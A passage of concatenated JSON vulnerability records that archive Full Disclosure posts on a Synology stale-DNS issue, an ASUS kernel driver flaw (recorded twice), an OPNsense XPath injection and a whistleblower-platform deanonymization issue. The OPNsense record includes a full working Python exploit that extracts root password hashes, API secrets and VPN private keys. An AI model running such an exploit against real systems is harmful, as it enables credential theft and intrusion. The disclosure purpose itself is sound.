anomaly.\n\nThe absence of known reports of exploitation cannot establish that prior\ninterception did not occur. A party receiving this traffic would not need\nto interact with the affected NAS, modify a request, or trigger an\nobservable failure. Passive collection could occur without the customer or\nSynology becoming aware of it.\n\n## Vendor disclosure timeline\n\n| Date              | Event\n\n                                                                   |\n| ----------------- |\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n|\n| 7 July 2026       | Initial report submitted to Synology with a captured\ntraffic log.\n                                                                     |\n| 8 July 2026       | Synology classified the issue as a hardening\nsuggestion, stating that a complete exploit had not been demonstrated and\nreferring to phishing or fake-site behaviour that was not part of the\nreport. |\n| 8 July 2026       | Synology was informed that the attachment contained\nlive third-party traffic, identifiers and token values, and was asked to\nconsider notifying the affected customers.                              |\n| 9 July 2026       | Synology acknowledged that the log contained live\ntraffic and token-like values, but said replay or account compromise had\nnot been demonstrated.                                                    |\n| 9 July 2026       | Synology was informed that its HTTPS traffic had\nconnected to a self-signed collection endpoint, demonstrating ineffective\ncertificate validation.                                                   |\n| 9 July 2026       | Synology described the result as, at most, limited\ninformation exposure.\n                                                                      |\n| 9 to 16 July 2026 | Additional released IP addresses were acquired and\nfurther independent batches of customer traffic were captured and supplied.\n                                                                      |\n| 22 July 2026      | Synology stated that the TLS certificate-validation\nbehaviour had been fixed in later DSM versions and maintained that the\nreport was not bounty eligible.                                           |\n| 22 July 2026      | Synology was reminded that the stale-DNS condition\nmade the old client vulnerability practically exploitable and that the\nduration and historical extent of exposure were unknown.                   |\n| 22 July 2026      | Synology stated that it would adjust the\nconfiguration of `relayinfo.synology.com` to further reduce the risk.\n\n    |\n| 22 July 2026      | Synology maintained the \"hardening suggestion\"\nclassification and declined a monetary reward.\n                                                                           |\n\n\n## Assessment of Synology\u0027s response\n\nSynology is correct that every client observed in the captures was old and\npre-dated the relevant security update.\n\nThat fact does not invalidate the finding.\n\nThe stale-DNS condition was present in Synology-controlled infrastructure\nat the time of reporting. It t"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:36:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/28"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/28"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/28"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Synology stale DNS allows practical interception of traffic from vulnerable DSM clients",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0157",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/28",
            "automated": true,
            "contentSha256": "bd8f367c2ed2bbbcd5c32d5122025267d13ee7dbffbbbc16a203899c4f1f006e",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/28",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-22T08:27:45Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T11:36:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0157"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "bsitf.sys CVE-2026-13585",
          "vendor": "Asus",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Hayaturehman Ahmadzai"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi all,\n\nI\u0027m disclosing a vulnerability (CVE-2026-13585) in the ASUS bsitf.sys /\nAsusBSItf.sys kernel driver, shipped with ASUS Business Manager and\nSoftware Manager. ASUS has assigned the CVE and published a vendor advisory\nwith countermeasures.\n\nSummary: The driver exposes a device (\\\\.\\bsitf, admin-required to open)\nwith an IOCTL that allocates a caller-specified amount of physically\ncontiguous kernel memory, maps it into the calling process, and returns\nboth the user-space pointer and the physical address, with no validation on\nthe requested size, no cap on allocation count, and no input checking.\n\nObserved impact:\n\n- Pool-exhaustion denial of service: uncapped allocations in a loop exhaust\nNonPagedPool and BSOD the machine, reachable from any admin process.\n- Physical address disclosure on every allocation, useful as an info-leak\nprimitive or for DMA-oriented attacks.\n- On version 3.0.10.0 the pool type is executable (NonPagedPool), enabling\nshellcode staging at a known kernel address (still requires a separate\ncontrol-flow bug). Later 3.1.x versions use NonPagedPoolNx, so this does\nnot apply there.\n\nAffected versions tested: 3.0.10.0 (bsitf.sys), 3.1.10.0 and 3.1.25.0\n(AsusBSItf.sys). All exhibit the same flaw.\n\nTimeline:\n- 2026-04-06: Discovered, PoC confirmed on Windows 11 24H2, reported to\nASUS PSIRT\n- 2026-07-14: CVE assigned and case closed (CVE-2026-13585)\n- 2026-07-15: Vendor advisory and countermeasures released\n\nFull technical writeup and PoC: https://blog.ahmadz.ai/asus_bsitf_0_day_poc/\n\nRegards,\n\nRehman Ahmadzai\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:36:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/26"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/26"
        },
        {
          "url": "https://blog.ahmadz.ai/asus_bsitf_0_day_poc/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/26"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "ASUS bsitf.sys (CVE-2026-13585): Arbitrary Physical Memory Mapping in ASUS Business/Software Manager kernel driver",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-13585",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0353",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/26",
            "automated": true,
            "contentSha256": "b4c5a9fd17e80b57571c3b7453eaf270fb7083679b5e452617a5ee20cce5c181",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/26",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-16T06:51:53Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0353"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:57Z",
    "dateUpdated": "2026-09-11T11:36:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0353"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "bsitf.sys CVE-2026-13585",
          "vendor": "Asus",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Hayaturehman Ahmadzai"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi all,\n\nI\u0027m disclosing a vulnerability (CVE-2026-13585) in the ASUS bsitf.sys /\nAsusBSItf.sys kernel driver, shipped with ASUS Business Manager and\nSoftware Manager. ASUS has assigned the CVE and published a vendor advisory\nwith countermeasures.\n\nSummary: The driver exposes a device (\\\\.\\bsitf, admin-required to open)\nwith an IOCTL that allocates a caller-specified amount of physically\ncontiguous kernel memory, maps it into the calling process, and returns\nboth the user-space pointer and the physical address, with no validation on\nthe requested size, no cap on allocation count, and no input checking.\n\nObserved impact:\n\n- Pool-exhaustion denial of service: uncapped allocations in a loop exhaust\nNonPagedPool and BSOD the machine, reachable from any admin process.\n- Physical address disclosure on every allocation, useful as an info-leak\nprimitive or for DMA-oriented attacks.\n- On version 3.0.10.0 the pool type is executable (NonPagedPool), enabling\nshellcode staging at a known kernel address (still requires a separate\ncontrol-flow bug). Later 3.1.x versions use NonPagedPoolNx, so this does\nnot apply there.\n\nAffected versions tested: 3.0.10.0 (bsitf.sys), 3.1.10.0 and 3.1.25.0\n(AsusBSItf.sys). All exhibit the same flaw.\n\nTimeline:\n- 2026-04-06: Discovered, PoC confirmed on Windows 11 24H2, reported to\nASUS PSIRT\n- 2026-07-14: CVE assigned and case closed (CVE-2026-13585)\n- 2026-07-15: Vendor advisory and countermeasures released\n\nFull technical writeup and PoC: https://blog.ahmadz.ai/asus_bsitf_0_day_poc/\n\nRegards,\n\nRehman Ahmadzai\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:36:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/26"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/26"
        },
        {
          "url": "https://blog.ahmadz.ai/asus_bsitf_0_day_poc/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/26"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "ASUS bsitf.sys (CVE-2026-13585): Arbitrary Physical Memory Mapping in ASUS Business/Software Manager kernel driver",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0102",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/26",
            "automated": true,
            "contentSha256": "b4c5a9fd17e80b57571c3b7453eaf270fb7083679b5e452617a5ee20cce5c181",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/26",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-16T06:51:53Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T11:36:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0102"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "XPATH Injection",
          "vendor": "Opnsense",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "evan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()-\u003eobject()-\u003expath(\"//*[text() =\n\u0027{$node-\u003erefid}\u0027]\")) - 1;\n\nas we control node-\u003erefid, which can be seen in here:\n\n protected function setBaseHook($node)\n    {\n        if (empty((string)$node-\u003erefid)) {\n            $node-\u003erefid = uniqid();\n        }\n        $error = false;\n        if (!empty((string)$node-\u003eprv_payload)) {\n            /** private key manually offered */\n            $node-\u003eprv = base64_encode((string)$node-\u003eprv_payload);\n        }\n\nwe know that if refid is empty it\u0027ll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=\u003cpayload\u003e\u0026ca[descr]=hi+lol\u0026ca[action]=internal\u0026ca[commonname]=hey\u0026ca[key_type]=2048\u0026ca[digest]=sha256\u0026ca[lifetime]=825\u0026ca[country]=NL\u0026ca[state]=idk\u0026ca[city]=lo\u0026ca[organization]=x\u0026ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n    \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n    \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n    \"hasyncpw\": \"//hasync/password\",\n    \"roothash\": \"//system/user/password\",\n    \"rootkey\": \"//system/user/apikeys/item/key\",\n    \"rootsecret\": \"//system/user/apikeys/item/secret\",\n    \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n    s = requests.Session()\n    s.auth = a\n    s.verify = False\n    return s\n\n\ndef prober(s, base, n):\n    canary = makecanary()\n    r = s.post(f\"{base}/api/trust/ca/add\", data={\n        \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n        \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n    }, timeout=30)\n    return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n    global total\n    payload = f\"{nx}\u0027 or ({condition}) or \u0027x\u0027=\u0027\"\n    s.post(\n        f\"{base}/api/trust/ca/set/{ca_uuid}\",\n        data={\"ca[refid]\": payload},\n        timeout=30,\n    )\n    r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n    with lock:\n        total += 1\n    ca = r.json().get(\"ca\", {})\n    # refcount = int(ca[\"refcount\"])\n    refcount = int(ca.get(\"refcount\", \"0\"))\n    return refcount \u003e 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n    lo, hi = 0, 300\n    while lo \u003c hi:\n        mid = (lo + hi + 1) // 2\n        if inj(s, base, ca, nx, f\"string-length({xpath})\u003e={mid}\"):\n            lo = mid\n        else:\n            hi = mid - 1\n    return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n    cands = cset[:]\n    while len(cands) \u003e 1:\n        midpoint = len(cands) // 2\n        half = \"\".join(cands[:midpoint])\n        cond = f\"contains(\u0027{half}\u0027, substring({xpath},{pos},1))\"\n        if inj(s, base, ca, nx, cond):\n            cands = cands[:midpoint]\n        else:\n            cands = cands[midpoint:]\n\n    c = cands[0]\n    if c == \"\u0027\":\n        lit = f\u0027\"{c}\"\u0027\n    else:\n        lit = f\"\u0027{c}\u0027\"\n\n    cond = f\"substring({xpath},{pos},1)={lit}\"\n    if inj(s, base, ca, nx, cond):\n        return c\n    return None\n\n\ndef extract(workers, base, xpath):\n    s0, ca0, nx0 = workers[0]\n    length = getlen(s0, base, ca0, nx0, xpath)\n    if length == 0:\n        return \"\"\n    print(f\"+ maybe {length} len\")\n\n    result = [\"?\"] * length\n\n    wq = Queue()\n    for w in workers:\n        wq.put(w)\n    # start grabbing\n    def do(pos):\n        s, ca, nx = wq.get()\n        try:\n            return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n        finally:\n            wq.put((s, ca, nx))\n\n    with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n       # for pos, ch in pool.map(doer_func(p), range(length)):\n        for pos, ch in pool.map(lambda p: do(p), range(length)):\n            if ch:\n                result[pos] = ch\n            sys.stdout.write(ch or \"#\")\n            sys.stdout.flush()\n\n    print()\n    return \"\".join(result)\n\n\ndef main():\n    global total\n    print(\"xray\")\n    target_names = list(targs.keys())\n    target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n    # i gave it a bs name\n    parser = argparse.ArgumentParser(\n        description=\"x-ray\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=\"extractables:\\n\" + target_list,\n    )\n    parser.add_argument(\"targ\", help=\"base url\")\n    parser.add_argument(\"api_key\", help=\"you need this\")\n    parser.add_argument(\"api_secret\", help=\"this too\")\n    parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n    parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n    args = parser.parse_args()\n\n    base = args.targ.rstrip(\"/\")\n    auth = (args.api_key, args.api_secret)\n\n\n    s = sesh(auth)\n    r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n    if r.status_code != 200:\n        print(\"- bro\")\n        sys.exit(1)\n    print(\"+ oh sweet we can access the ca api\")\n\n\n    workers = []\n\n    for i in range(args.workers):\n        ws = sesh(auth)\n        uuid, nx = prober(ws, base, i)\n        if not uuid:\n            print(\"creating probe failed (prober)\")\n            sys.exit(1)\n        workers.append((ws, uuid, nx))\n    print(f\"+ {args.workers} probing\\n\")\n\n    # extract\n    if args.target == \"all\":\n        targets = targs\n    else:\n        targets = {args.target: targs[args.target]}\n    for name, xpath in targets.items():\n        print(f\"+ {name}\")\n        s0, ca0, nx0 = workers[0]\n        if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n            print(\"n/a\")\n            continue\n        val = extract(workers, base, xpath)\n        print(f\"{repr(val)}  ({total} reqs)\\n\")\n    # finally: # nvm\n    # cleanup but not really beacuse im lazy\n    for ws, ca, nx in workers:\n    ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n    print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n    main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:35:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/18"
        },
        {
          "url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "OPNsense XPATH Injection (CVE-2026-53582)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0022",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18",
            "automated": true,
            "contentSha256": "f2fd662c60bf7a79731c49d8575d20f4fef0d531037d854d1e62a37da499b1d9",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-03T10:56:32Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-11T11:35:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0022"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Openblow",
          "vendor": "Laser Romae\u202fS.R.L.",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Red Nanaki via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenBlow Multiple Deanonymization Vulnerabilities\n\nSummary\n\nA production deployment was observed (HTTP archive of a full, real whistleblower\nsubmission) to route its anonymous reporting flow through Google. The intake\nCAPTCHA is Google reCAPTCHA, enforced as a mandatory, server-validated gate\non report submission, and the UI additionally pulls a web font from\nfonts.gstatic.com. As a result, every prospective whistleblower\u0027s browser\nmakes direct connections to www.google.com and www.gstatic.com before a\nreport can be filed, disclosing the reporter\u0027s source IP, browser fingerprint,\nand the precise identity of the whistleblowing site to a third party. The\nabsence\nof a Content-Security-Policy and Referrer-Policy is what permits these\ncross-origin loads.\n\nThe defects, in severity order:\n\n1. (Critical) Google reCAPTCHA is a mandatory gate on the anonymous\nsubmission flow - a whistleblower cannot submit without first being exposed to\nGoogle.\n2. (High) A web font is loaded from fonts.gstatic.com, a second independent\nIP/fingerprint disclosure to Google.\n3. (Medium) No Content-Security-Policy and no Referrer-Policy on\nresponses, which is what allows the third-party loads above.\n\nComponent\n\ndeployment / configuration\n\nClassification\n\nvalid\n\nEvidence: HAR capture of one end-to-end flow (load intake \u2192 upload attachments \u2192\nPOST /api/v0/whistleblower/tip \u2192 retrieve). The submission could not complete\nwithout a Google reCAPTCHA token, which is present in the submission body and is\nproduced only after live calls to Google.\n\nDetails\n\nHosts contacted during a single anonymous submission:\n(first-party API + assets)\nwww.google.com (reCAPTCHA: api.js, api2/anchor, api2/reload [POST], \u2026)\nwww.gstatic.com (reCAPTCHA static bundle)\nfonts.gstatic.com (Roboto .woff2 web font)\n\nSubmission endpoint:\nPOST /api/v0/whistleblower/tip\nrequest body field \"captcha\" carries a Google reCAPTCHA token:\n\"captcha\":\"0cAFcWeA4BGSN1zd5E_vRIN\u2026\"\n-\u003e the token is required and server-validated: submission is gated on Google.\n\nSite identity leaked to Google (reCAPTCHA anchor \"co\" parameter, base64):\nco -\u003e decodes to https://:443\n\n1. (Critical) Mandatory Google reCAPTCHA on the anonymous intake path\n\nThe submission request carries a Google reCAPTCHA token in the captcha field of\nthe POST /api/v0/whistleblower/tip body, and that token can only be obtained\nafter the browser performs the reCAPTCHA handshake with Google (api.js \u2192\napi2/anchor \u2192 api2/reload). The flow therefore cannot proceed without\ncontacting Google.\n\nGoogle consequently receives, for every prospective reporter:\n\n- the source IP address of the whistleblower\u0027s browser;\n- a browser/device fingerprint (reCAPTCHA\u0027s purpose is behavioural/device\nscoring);\n- the exact whistleblowing site being used - the reCAPTCHA co parameter\nbase64-encodes the full origin (https://:443).\n\nThis contradicts the platform\u0027s anonymity guarantee, under which no third party\nmust be able to learn the identity of a source. It also degrades Tor usability:\nreCAPTCHA routinely blocks or challenges Tor exit nodes, pushing at-risk users\noff Tor toward non-anonymous access.\n\n2. (High) Web font served from fonts.gstatic.com\n\nIndependently of reCAPTCHA, the UI fetches a Roboto .woff2 from\nfonts.gstatic.com - a second, separate disclosure of the reporter\u0027s IP to\nGoogle on the same pages.\n\n3. (Medium) Missing Content-Security-Policy and Referrer-Policy\n\nNone of the captured first-party responses carry a Content-Security-Policy or a\nReferrer-Policy. The absence of a restrictive CSP is what permits the\ncross-origin Google/gstatic loads in findings 1\u20132; a correct CSP would have\nblocked them.\n\nObserved first-party response headers (representative):\n\nstrict-transport-security: max-age=31536000; includeSubDomains # present\nx-frame-options: SAMEORIGIN # present\nx-content-type-options: nosniff # present\naccess-control-allow-origin: https:// # scoped\n(no content-security-policy) # MISSING\n(no referrer-policy) # MISSING\n\nPoC\n\nSteps to reproduce\n\nFrom a HAR capture (or live DevTools \u2192 Network) of the submission flow:\n\n# Confirm the gate is mandatory and server-validated - the submission body\n# contains a Google reCAPTCHA token:\npython3 - \u003c\u003c\u0027PY\u0027\nimport json\nhar = json.load(open(\".har\"))\nfor e in har[\"log\"][\"entries\"]:\nif \"/whistleblower/tip?\" in e[\"request\"][\"url\"]:\nb = json.loads(e[\"request\"][\"postData\"][\"text\"])\nprint(\"captcha token present:\", bool(b.get(\"captcha\")))\nPY\n\n# Confirm the site identity is leaked to Google (anchor \"co\" param):\npython3 - \u003c\u003c\u0027PY\u0027\nimport base64, urllib.parse as u, json\nhar = json.load(open(\".har\"))\nfor e in har[\"log\"][\"entries\"]:\nq = u.parse_qs(u.urlparse(e[\"request\"][\"url\"]).query)\nif \"co\" in q:\nprint(base64.b64decode(q[\"co\"][0] + \"==\").decode(\"utf-8\", \"replace\"))\nPY\n\nExpected result\n\nAn anonymous reporting flow must complete without the reporter\u0027s browser\ncontacting any third party. The CAPTCHA must be an offline, first-party\nchallenge;\nall fonts/assets must be first-party; a strict CSP must prevent any cross-origin\nscript/font load.\n\nActual result\n\nThe submission cannot complete without a Google reCAPTCHA token; obtaining it\nrequires live connections to www.google.com/www.gstatic.com, and a web font is\nfetched from fonts.gstatic.com. Google receives the reporter\u0027s IP, a device\nfingerprint, and the exact site origin (https://:443). No\nCSP/Referrer-Policy is present to prevent this.\n\nImpact\n\nA whistleblowing platform\u0027s central promise is that a source cannot be\nidentified\nby any third party. This deployment forces every prospective source to disclose\ntheir IP address, a browser/device fingerprint, and the precise identity of the\nchannel they are using to Google - as a mandatory precondition of filing a\nreport. An adversary with visibility into, or legal reach over, that third party\ncan correlate \"who contacted reCAPTCHA for this specific whistleblowing origin,\nfrom which IP, at what time\" with the subsequently received report. The\nTor-hostility of reCAPTCHA compounds this.\n\nPotential impact:\n\n- Confidentiality: High (source deanonymization via third-party IP/fingerprint +\nsite-identity disclosure on the anonymous intake path).\n- Integrity: None.\n- Availability: Low (reCAPTCHA/Tor friction can block legitimate anonymous\nsubmissions).\n\nRemediation\n\n1. Disable Google reCAPTCHA; use an offline, first-party CAPTCHA. The intake\nflow must never depend on a third party.\n2. Self-host all fonts and assets; remove fonts.gstatic.com (and any other\nthird-party origin) from the served pages.\n3. Deploy a strict Content-Security-Policy (default-src \u0027self\u0027, no\nthird-party script-src/font-src/connect-src) and a hardened\nReferrer-Policy (e.g. no-referrer), so third-party loads are structurally\nimpossible.\n\nSeverity\n\nCritical. The defects require no privileges and no user interaction beyond a\nvictim attempting to use the platform for its intended purpose, are exploitable\nby\na network/third-party observer, and defeat the platform\u0027s primary security\nproperty (source anonymity) on the anonymous intake path (Scope: Changed).\n\nVector string\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:L\n\nWeaknesses\n\nCommon Weakness Enumerator CWE:\n\n- CWE-359 - Exposure of Private Personal Information to an Unauthorized Actor\n- CWE-829 - Inclusion of Functionality from Untrusted Control Sphere\n- CWE-693 - Protection Mechanism Failure\n- Missing Content-Security-Policy enabling the third-party loads\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-359",
              "description": "CWE-359",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-693",
              "description": "CWE-693",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-829",
              "description": "CWE-829",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:35:28Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/15"
        },
        {
          "url": "https://:443"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
